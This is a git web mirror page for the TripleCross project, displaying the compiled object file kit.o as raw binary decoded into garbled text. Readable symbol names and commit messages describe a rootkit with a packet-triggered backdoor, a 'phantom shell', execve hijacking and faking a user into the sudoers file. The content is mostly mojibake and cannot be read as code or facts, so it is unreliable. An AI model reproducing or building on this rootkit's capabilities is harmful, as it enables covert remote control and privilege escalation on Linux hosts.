admin/TripleCross
1
0
Fork 0
mirror of https://github.com/h3xduck/TripleCross.git synced 2026-01-28 18:13:07 +08:00
Code Issues Packages Projects Releases Wiki Activity
Files
e6cbe7c24a57e4d0cf6fcaf4b6c4d5a1d2ddcc9d
TripleCross/src/.output/kit.o

857 lines
148 KiB
Plaintext
Raw Normal View History

Completed command passing for phantom shell
2022-05-15 14:44:16 -04:00
ELF>K@@<00><1E>UH<55><48>H<EFBFBD><48>H<>}<7D>H<EFBFBD>}<7D>t)H<>E<EFBFBD>H<EFBFBD>H<><48>tH<>E<EFBFBD>H<EFBFBD>H<><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD><48><EFBFBD><00><01><><EFBFBD>UH<55><48>H<EFBFBD><48> H<>}<7D><><EFBFBD><00><00>H<>E<EFBFBD>H<EFBFBD>}<7D>u<07><00>EH<45>E<EFBFBD>H<EFBFBD><48><EFBFBD>h<00><>u H<>E<EFBFBD>H<EFBFBD>H<>U<EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD><00><>u H<>E<EFBFBD><45><15><><01>H<EFBFBD>E<EFBFBD>H<EFBFBD><48><EFBFBD>P<EFBFBD><50><EFBFBD><EFBFBD><00><>UH<55><48><EFBFBD><00>~<7E><><EFBFBD>]<5D>UH<55><48>H<EFBFBD><48>H<>}<7D>H<EFBFBD>E<EFBFBD>H<EFBFBD>H<><48><EFBFBD><00><>UH<55><48>H<EFBFBD><48> H<>}<7D><>H<00><00>H<>E<EFBFBD>H<EFBFBD>}<7D>u
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>]H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>HH<>E<EFBFBD>H<EFBFBD>H<>PH<>E<EFBFBD>H<EFBFBD>PH<>E<EFBFBD>H<EFBFBD>P H<>E<EFBFBD><45>@(H<>E<EFBFBD><45>@,H<>E<EFBFBD><45>@,Hc<48>H<EFBFBD>E<EFBFBD><45>@(H<>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<><48>H<EFBFBD>E<EFBFBD>H<EFBFBD>P0H<30>E<EFBFBD>H<EFBFBD>@0H<30><48><0F><>H<>E<EFBFBD>H<EFBFBD>@0H<30>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30>U<EFBFBD>H<EFBFBD><48>H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>H<>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30><48>H<>U<EFBFBD>H<EFBFBD><48>H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>0H<30>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30><48>0H<30>U<EFBFBD>H<EFBFBD><48> H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>HH<48>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30><48>HH<48>U<EFBFBD>H<EFBFBD><48>(H<>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>`H<>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30><48>`H<>U<EFBFBD>H<EFBFBD><48>0H<30>PH<>E<EFBFBD>H<EFBFBD>@0H<30><48>xH<78>H<>H<>E<EFBFBD>H<EFBFBD>@0H<30><48>xH<78>U<EFBFBD>H<EFBFBD><48>8H<38>PH<>E<EFBFBD>H<EFBFBD>@0H<05>H<>H<>H<>E<EFBFBD>H<EFBFBD>@0H<05>H<>U<EFBFBD>H<EFBFBD><48>@H<>PH<>E<EFBFBD>H<EFBFBD>@0H<05>H<>U<EFBFBD>H<EFBFBD>¸H<>PH<>E<EFBFBD>H<EFBFBD>@0H<05>H<>H<>H<>E<EFBFBD>H<EFBFBD>@0H<05>H<>U<EFBFBD>H<EFBFBD><48>HH<48>PH<>E<EFBFBD>H<EFBFBD>@0H<05>H<>U<EFBFBD>H<EFBFBD>°H<>PH<>E<EFBFBD><45>@8H<>E<EFBFBD><45>@<H<>E<EFBFBD><45>@<Hc<48>H<EFBFBD>E<EFBFBD><45>@8H<38>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<><48>H<EFBFBD>E<EFBFBD>H<EFBFBD>P@H<>E<EFBFBD>H<EFBFBD>@@H<><48><0F><>H<>E<EFBFBD>H<EFBFBD>@@H<>H<>H<>E<EFBFBD>H<EFBFBD>@@H<>U<EFBFBD>H<EFBFBD><48>PH<50>PH<>E<EFBFBD>H<EFBFBD>@@H<>U<EFBFBD>H<EFBFBD><48><EFBFBD>H<EFBFBD>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>H<>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>H<>U<EFBFBD>H<EFBFBD><48>XH<58>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>H<>U<EFBFBD>H<EFBFBD>ˆH<>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>0H<30>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>0H<30>U<EFBFBD>H<EFBFBD><48>`H<>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>0H<30>U<EFBFBD>H<EFBFBD>H<>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>HH<48>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>HH<48>U<EFBFBD>H<EFBFBD><48>hH<68>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>HH<48>U<EFBFBD>H<EFBFBD>˜H<>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>`H<>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>`H<>U<EFBFBD>H<EFBFBD><48>pH<70>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>`H<>U<EFBFBD>H<EFBFBD> H<>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>xH<78>H<>H<>E<EFBFBD>H<EFBFBD>@@H<><48>xH<78>U<EFBFBD>H<EFBFBD><48>xH<78>PH<>E<EFBFBD>H<EFBFBD>@@H<><48>xH<78>U<EFBFBD>H<EFBFBD>¨H<>PH<>E<EFBFBD>H<EFBFBD>@<18><>H<>E<EFBFBD>H<EFBFBD>H<>P<10><00><15><><01>H<EFBFBD>E<EFBFBD>H<EFBFBD><48><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><1E>UH<55><48>H<EFBFBD><48>0H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dH<64>%(H<>E<EFBFBD>1<EFBFBD><31><00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>5H<><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>u,H<>=<00><00><00>OH<4F><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<><48><EFBFBD>H<><48>u<EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>M<EFBFBD>dH+ %(t<05><00><><EFBFBD><1E>UH<55><48>H<EFBFBD><48><EFBFBD>H<><48>x<EFBFBD><78><EFBFBD><EFBFBD><EFBFBD>f<EFBFBD><66>t<EFBFBD><74><EFBFBD>dH<64>%(H<>E<EFBFBD>1<EFBFBD><31><00><00><00><00> <00><00><00> <00><00>H<>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD>}<7D>u6H<36>H<><48><EFBFBD><00>BH<>5H<>=<00><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<><48>x<EFBFBD><78><EFBFBD>H<EFBFBD><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD>}<7D>u6H<36><48>x<EFBFBD><78><EFBFBD>H<EFBFBD><48><EFBFBD><00>GH<>5H<>=<00><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00><00><00><00>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>H<>@f<>E<EFBFBD><0F><>t<EFBFBD><74><EFBFBD><EFBFBD><EFBFBD><EFBFBD>f<>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>@H<>H<><00>E<EFBFBD><45>E<EFBFBD><00><>H<>M<EFBFBD><4D>E<EFBFBD><45>H<>Ή<EFBFBD><CE89><00><><0F><><00>}<7D>~&<26>m<EFBFBD><01>E<EFBFBD><45><EFBFBD>H<EFBFBD>=<00><00><00><00><00>i<EFBFBD>E<EFBFBD><45><EFBFBD><EFBFBD>H<><48>x<EFBFBD><78><EFBFBD>H<EFBFBD><48><EFBFBD><0F><>t<EFBFBD><74><EFBFBD>H<EFBFBD>H<>5H<>Ǹ<00><00>]H<>5H<>=<00><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD><EFBFBD>}<7D><0F>C<EFBFBD><43><EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48><EFBFBD>H<>E<EFBFBD><45>U<EFBFBD>H<EFBFBD>E<EFBFBD><45><EFBFBD>H<EFBFBD><48><EFBFBD><00>E<EFBFBD><00>E<EFBFBD><00>FH<>E<EFBFBD>H<EFBFBD><48><EFBFBD><00><>8<7F>m<EFBFBD><01>E<EFBFBD><45><EFBFBD>H<EFBFBD>=<00><00>H<>H<><48><EFBFBD><00><00><00><><00>E<EFBFBD>H<>E<EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD>H<><48>H<EFBFBD>=<00><00>H<>E<EFBFBD>H<EFBFBD><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD>}<7D><0F><>H<>=<00>H<>E<EFBFBD>H<EFBFBD><48><EFBFBD><00><00>H<><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>E<EFBFBD>H<EFBFBD><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD><48><EFBFBD><00><00>H<><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>E<EFBFBD>H<EFBFBD><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD><48><EFBFBD><00>H<>=<00><00><>H<>E<EFBFBD><45>H<>5H<><48><EFBFBD><00>E<EFBFBD><45>E<EFBFBD>H<EFBFBD>H<EFBFBD><00>H<>5H<>=<00><00><00> H<>5H<>=<00><00><><0F><00>}<7D><0F><>H<>5H<>=<00>H<>E<EFBFBD>H<EFBFBD>5<00><00>H<>E<EFBFBD>H<EFBFBD>}<7D><0F><>H<>E<EFBFBD>H<EFBFBD><48><EFBFBD>H<>Eо<00><00>H<>E<EFBFBD>H<EFBFBD>}<7D>uH<>E<EFBFBD><45>CC_Ef<45>@RR<52>@<00>+H<>E<EFBFBD>H<EFBFBD>CC_COMM_H<5F><08>@RS#H<>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>E<EFBFBD>H<EFBFBD><48><EFBFBD><00><>H<EFBFBD>M<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD><48><EFBFBD><00><>H<>=<00><00><>H<>H<><48><EFBFBD><00>u<EFBFBD> H<>5H<>=<00><00><>uH<>=<00><00>E<EFBFBD><00>DH<44>5H<>=<00><00>H<>H<>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48><EFBFBD><00><>H<EFBFBD>M<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD><00>}<7D><0F><06><><EFBFBD><EFBFBD>}<7D>~
<EFBFBD>}<7D><0F><><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>=<00><00>E<EFBFBD><45><EFBFBD><EFBFBD>H<>E<EFBFBD>H<EFBFBD><48><EFBFBD><00>H<>M<EFBFBD>dH+ %(t<05><00><><EFBFBD><1E>UH<55><48>H<EFBFBD><48> H<>}<7D>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>=<00>H<>H<>E<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>H<>E<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<>H<>E<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00><00><><EFBFBD><EFBFBD><1E>UH<55><48>H<EFBFBD><48> <20>}<7D>H<EFBFBD>u<EFBFBD>H<EFBFBD>U<EFBFBD><55>}<7D>u<0F><00><><01><>t<07><00>H<>H<>U<EFBFBD>H<EFBFBD>M<EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD><00><><EFBFBD><1E>UH<55><48>H<EFBFBD><48> dH<64>%(H<>E<EFBFBD>1<EFBFBD>H<EFBFBD>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>ƿ<00><00><>t*H<>H<><48><EFBFBD>)<00>H<>=<00><00><00><00>H<EFBFBD>E<EFBFBD>dH+%(t<05><00><><EFBFBD><1E>UH<55><48><EFBFBD>}<7D><><01>]<5D><><1E>UH<55><48>SH<53><48><EFBFBD>H<><48><18><><EFBFBD>H<EFBFBD><48><10><><EFBFBD>H<EFBFBD><48><08><><EFBFBD>dH<64>%(H<>E<EFBFBD>1<EFBFBD>H<EFBFBD><48><10><><EFBFBD>H<EFBFBD><48>@<40><><EFBFBD>H<EFBFBD><48>8<EFBFBD><38><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48>8<EFBFBD><38><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48>H<EFBFBD><48><EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD><00> H<><48><EFBFBD>H<><48>@<40><><EFBFBD><EFBFBD><EFBFBD>T<00><>uAH<41><48>@<40><><EFBFBD>H<EFBFBD>pH<><48>@<40><><EFBFBD><EFBFBD><EFBFBD>H<><48>@<40><><EFBFBD><EFBFBD>H<>E<EFBFBD>I<EFBFBD><49>H<EFBFBD><48>H<EFBFBD>=<00><00><00><>H<><48>@<40><><EFBFBD><EFBFBD><EFBFBD>T<00><><0F>}H<><48>@<40><><EFBFBD><EFBFBD><EFBFBD>T<00><><0F>gH<><48>@<40><><EFBFBD><EFBFBD><EFBFBD>T<00><><0F>QH<><48>@<40><><EFBFBD><EFBFBD><EFBFBD>T<00><><0F>OH<><48>@<40><><EFBFBD><EFBFBD><EFBFBD>H<><48>@<40><><EFBFBD><EFBFBD>H<>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<><48>@<40><><EFBFBD><EFBFBD><EFBFBD><00><><0F><><00><><0F><><00><>t
<EFBFBD><EFBFBD>t'<27><>H<>=<00><00>4!H<>=<00><00><>H<>=<00><00><00><00><00><00><>4<EFBFBD><34><EFBFBD><EFBFBD><EFBFBD>4<EFBFBD><34><EFBFBD>y H<>=<00><00><00><00><>4<EFBFBD><34><EFBFBD><EFBFBD><EFBFBD>4<EFBFBD><34><EFBFBD><0F>bH<>=<00><00>QH<>=<00><00><00><00><00><00><>4<EFBFBD><34><EFBFBD><EFBFBD><EFBFBD>4<EFBFBD><34><EFBFBD><0F>!H<>=<00><00>H<><48>@<40><><EFBFBD><EFBFBD><EFBFBD><00><>H<EFBFBD>=<00><00><00><>H<><48>@<40><><EFBFBD><EFBFBD><EFBFBD>T<00><><0F><>H<>=<00>Dž,<2C><><EFBFBD><00>H<><48>p<EFBFBD><70><EFBFBD>H<EFBFBD><48>,<2C><><EFBFBD>H<EFBFBD>Ή<EFBFBD><CE89><00><>0<EFBFBD><30><EFBFBD><EFBFBD><EFBFBD>0<EFBFBD><30><EFBFBD>yH<>=<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><0F><>x<EFBFBD><78><EFBFBD><0F>ȋ<EFBFBD>t<EFBFBD><74><EFBFBD><EFBFBD><EFBFBD>p<EFBFBD><70><EFBFBD>H<EFBFBD><48>p<EFBFBD><70><EFBFBD>H<EFBFBD><48>
I<EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>=<00><00>H<><48>@<40><><EFBFBD><EFBFBD><EFBFBD><00><>p<EFBFBD><70><EFBFBD>H<EFBFBD><48>@<40><><EFBFBD><EFBFBD><EFBFBD> <00><>t<EFBFBD><74><EFBFBD>H<EFBFBD><48>@<40><><EFBFBD><0F><>f<><66>x<EFBFBD><78><EFBFBD>H<EFBFBD><48>@<40><><EFBFBD>H<00>H<>5H<><48><EFBFBD><00><><0F><>H<><48>@<40><><EFBFBD>HH<><48>H<EFBFBD>=<00><00><00><00><00>H<><48>P<EFBFBD><50><EFBFBD>H<EFBFBD><48>@<40><><EFBFBD>H<EFBFBD><48>H<><48>P<EFBFBD><50><EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<><48>P<EFBFBD><50><EFBFBD>H<EFBFBD>5H<><48><EFBFBD>H<><48>X<EFBFBD><58><EFBFBD>H<EFBFBD>5<00><00>H<><48>X<EFBFBD><58><EFBFBD>H<EFBFBD><48>X<EFBFBD><58><EFBFBD><0F>CH<><48>X<EFBFBD><58><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48>`<60><><EFBFBD><EFBFBD><00><00>H<><48>h<EFBFBD><68><EFBFBD>H<EFBFBD><48>`<60><><EFBFBD>uH<><48>h<EFBFBD><68><EFBFBD><EFBFBD>CC_Ef<45>@RR<52>@<00>4H<34><48>h<EFBFBD><68><EFBFBD>H<EFBFBD>CC_PHAN_H<5F><18>@RS#H<><48>`<60><><EFBFBD>H<EFBFBD><48>h<EFBFBD><68><EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<><48>h<EFBFBD><68><EFBFBD>H<EFBFBD>H<>XH<><48>z<EFBFBD><7A><EFBFBD>H<EFBFBD>]<5D>H<EFBFBD>HH<>XH<>M<EFBFBD>H<EFBFBD>]<5D>H<EFBFBD>H H<>X(H<>M<EFBFBD>H<EFBFBD>]<5D>H<EFBFBD>P8H<38>@0H<30>E<EFBFBD>H<EFBFBD>U<EFBFBD>H<EFBFBD><48>h<EFBFBD><68><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48>P<EFBFBD><50><EFBFBD>H<EFBFBD><48><EFBFBD><0F><>x<EFBFBD><78><EFBFBD><0F>ȋ<EFBFBD>t<EFBFBD><74><EFBFBD><EFBFBD><EFBFBD>p<EFBFBD><70><EFBFBD>H<EFBFBD><48>p<EFBFBD><70><EFBFBD>H<EFBFBD><48>
I<EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>=<00><00><00>H<><48>p<EFBFBD><70><EFBFBD>H<EFBFBD><48>,<2C><><EFBFBD><EFBFBD><00><><EFBFBD><00>H<>=<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<><48>@<40><><EFBFBD>HH<>H<>XH<><48>z<EFBFBD><7A><EFBFBD>H<EFBFBD>]<5D>H<EFBFBD>HH<>XH<>M<EFBFBD>H<EFBFBD>]<5D>H<EFBFBD>H H<>X(H<>M<EFBFBD>H<EFBFBD>]<5D>H<EFBFBD>P8H<38>@0H<30>E<EFBFBD>H<EFBFBD>U<EFBFBD><0F><>x<EFBFBD><78><EFBFBD><0F>ȋ<EFBFBD>t<EFBFBD><74><EFBFBD><EFBFBD><EFBFBD>p<EFBFBD><70><EFBFBD>H<EFBFBD><48>p<EFBFBD><70><EFBFBD>H<EFBFBD><48>
I<EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>=<00><00><00>H<><48>p<EFBFBD><70><EFBFBD>H<EFBFBD><48>,<2C><><EFBFBD><EFBFBD><00><><EFBFBD><00>GH<47><48>@<40><><EFBFBD>H<EFBFBD>pH<><48>@<40><><EFBFBD><EFBFBD><EFBFBD>H<><48>@<40><><EFBFBD><EFBFBD>H<>E<EFBFBD>I<EFBFBD><49>H<EFBFBD><48>H<EFBFBD>=<00><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <09><><01><>H<>]<5D>dH+%(t<05>H<>]<5D><><EFBFBD><EFBFBD><1E>UH<55><48>H<EFBFBD><48>0<EFBFBD>}<7D>H<EFBFBD>u<EFBFBD>H<EFBFBD>U<EFBFBD>dH<64>%(H<>E<EFBFBD>1<EFBFBD><31>E<EFBFBD>X<00>}<7D>y
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>U<EFBFBD>H<EFBFBD>M<EFBFBD><4D>E<EFBFBD>H<EFBFBD>Ή<EFBFBD><CE89><00>E<EFBFBD><45>}<7D>t@<40><00><00><><EFBFBD>H<><48>H<EFBFBD>H<><48>H<EFBFBD>H<>5H<>Ǹ<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>jH<>E؋@<08><>tQH<51>E؋PH<>E<EFBFBD><45>@9<>t?H<>E؋HH<>E<EFBFBD><45>PH<>A<>ȉ<EFBFBD>H<EFBFBD>H<>5H<>Ǹ<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>E؋@ <0C><>tQH<51>E؋P H<>E<EFBFBD><45>@ 9<>t?H<>E؋H H<>E<EFBFBD><45>P H<>A<>ȉ<EFBFBD>H<EFBFBD>H<>5H<>Ǹ<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>E؋@<10><>tNH<4E>E؋PH<>E<EFBFBD><45>@9<>t<H<>E؋HH<>E<EFBFBD><45>PH<>A<>ȉ<EFBFBD>H<EFBFBD>H<>5H<>Ǹ<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>YH<59>E؋<00><>tJH<4A>E؋H<>E<EFBFBD><45>9<>t:H<>E؋H<>E<EFBFBD><45>H<>A<>ȉ<EFBFBD>H<EFBFBD>H<>5H<>Ǹ<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><05>H<>u<EFBFBD>dH+4%(t<05><00><><EFBFBD><1E>UH<55><48>H<EFBFBD><48>@<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dH<64>%(H<>E<EFBFBD>1<EFBFBD>HDž<48><C785><EFBFBD><EFBFBD>H<><48>@<40><><EFBFBD><EFBFBD><00> H<><48><EFBFBD>H<EFBFBD>H<EFBFBD>U<EFBFBD><55><00> H<><48><EFBFBD>H<EFBFBD><48>?<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>v<0F><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>v<0F> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ttB<74><42><EFBFBD><EFBFBD><EFBFBD><EFBFBD>t<0F><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>h<0F><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>h<0F><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:<0F><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>?t}<7D><>H<>H<><48><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>H<><48>H<EFBFBD>=<00><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><0F><>H<>=<00><00><00><00><01>~H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>H<><48><EFBFBD><00><00><00><00><>H<EFBFBD>=<00><00><00><00><00><00><>H<EFBFBD>=<00><00><00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>H<><48><EFBFBD><00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>H<>Ή<EFBFBD><CE89><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><0F><><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>=<3D><><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>5U<35><55><EFBFBD><EFBFBD><00>H<>5D<35><44><EFBFBD><EFBFBD><00><00><1F><><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>u*H<>H<><48><EFBFBD>%<00>H<>=<00><00><00><>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>t%H<>H<><48><EFBFBD>'<00>H<>=<00><00>8H<>=<00><00><00><00><>H<EFBFBD>=<00><00>DžH<C785><48><EFBFBD>DžL<C785><4C><EFBFBD>LDžP<C785><50><EFBFBD><00>H<><48>@<40><><EFBFBD>H<EFBFBD>M<EFBFBD>H<EFBFBD>Ή<EFBFBD><CE89><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>t+H<>H<><48><EFBFBD><00>H<>=<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>=<00><00>u<EFBFBD>D<EFBFBD>E<EFBFBD><45>}<7D><>U<EFBFBD><55>E<EFBFBD>H<EFBFBD>M<EFBFBD>H<EFBFBD><48>H<><48>VE<56><45>A<EFBFBD><41><EFBFBD><EFBFBD>H<EFBFBD>=<00><00>H<><48>Dž<><C785><EFBFBD><EFBFBD><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>Ή<EFBFBD><CE89><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><0F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><0F>ȋ<EFBFBD><C88B><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>=<00><00><00><01><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><01>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><00><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>@ H<><48><EFBFBD><00><00>H<>5$<24><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>u,Dž<><C785><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>H<><48><EFBFBD><00>H<>=<00><00>LH<4C>=<00><00>/H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dH<><48><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>u Dž<><C785><EFBFBD><EFBFBD><00><0F><00><><01><>uÐH<C390><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>t<07><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><05>H<>u<EFBFBD>dH+4%(t<05><00><>kit_bpfbackdoor_packet_log_32backdoor_packet_log_16rb_commfs_openexec_var_hijack_activebackdoor_phantom_shellkit_bpf.rodatakit_bpf.bsshandle_sched_process_exectp_sys_enter_readtp_sys_exit_readtp_sys_enter_openattp_sys_enter_execvexdp_receiveELF<00>`<60>@@<00><00><00>U<00><00>$yy<00>{
Completed faking that an user is in the sudoers file. Now user 'test' can use sudo without being there
2022-02-05 14:10:12 -05:00
